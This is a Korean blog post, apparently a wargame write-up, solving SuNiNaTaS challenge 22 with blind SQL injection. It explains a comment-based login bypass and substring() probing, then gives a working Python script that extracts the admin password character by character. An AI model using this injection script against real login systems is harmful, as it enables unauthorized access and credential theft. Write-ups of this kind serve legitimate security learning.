Blind Sql Injection 문제입니다.
많은 문자열들이 필터링이 되어있어서 한정된 방법으로 풀어야합니다.
우선 주석에 <!-- Hint : guest / guest & Your goal is to find the admin's pw --> 과 같이 나와있으며
"admin" 계정의 대한 비밀번호를 찾으면 되는 문제입니다.
guest/guest를 입력해 전송하면 "OK guest"라는 메시지가 나옵니다.
주석이 필터링이 되어있나 확인해보기 위해 --를 입력해보니 잘 됩니다.
대충 이런 Query가 될 것입니다. select * from User_Table where id='guest' --' and pw='1'
뒤에 pw값은 주석으로 인해 무시가 되므로 id가 guest가 있으면 참으로 인식합니다.
Blind Sql Injection을 하기 위해서 처음에 pw가 몇 글자인지 알아야한다 생각하여 length() 함수를 사용했습니다.
length()함수가 필터링 되지는 않았지만 False라고 나오면서 실패하게 됩니다.
구문의 오류는 없어보이는데 왜 안되는지 모르겠네요..
한참을 length가지고 씨름을 하다가 다른 방법으로 해봤습니다.
substring() 함수를 사용해서 바로 찾아 봤습니다.
※substring(str, start, len): 문자열을 가져와서 시작 인덱스를 기준으로 지정된 길이만큼 가져옴. 1부터 시작
guest의 비밀번호는 guest임으로 다음과 같이 작성해봅니다.
99개의 길이를 가져와도 문자열 끝에는 %00이 오기에 인식하지 않습니다.
"OK guest"가 나오는 걸보니 잘 되는거 같습니다.
다음을 이용해서 Python 코드를 작성해 봤습니다.
Python의 requests 모듈을 이용해 해당 URL로 요청을 보내 "OK"값이 나오는지 확인해 봅니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | import requests cookies= {'YourCookie_1':'YourCookie_value_1','YourCookie_2':'YourCookie_value_2'} url = 'http://suninatas.com/Part_one/web22/web22.asp?' password = '' for i in range(1,20): for j in range(33,127): query = "id=admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'--&pw=1" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("OK")>0): password += chr(j) break print ("password : "+password) | cs |
정확한 길이를 몰라 20개까지 뽑았는데 문자열의 끝이 %%%%%로 채워지므로 해당 부분을 제외하고 인증하시면 됩니다.
'WarGame > SuNiNaTaS' 카테고리의 다른 글
SuNiNaTaS_23 [WEB] (0) | 2018.10.03 |
---|---|
SuNiNaTaS_24 [SYSTEM] (0) | 2018.09.22 |
SuNiNaTaS_12 [MISC] (0) | 2018.09.19 |
SuNiNaTaS_29 [FORENSIC] (0) | 2018.09.15 |
SuNiNaTaS_16 [SYSTEM] (0) | 2018.09.14 |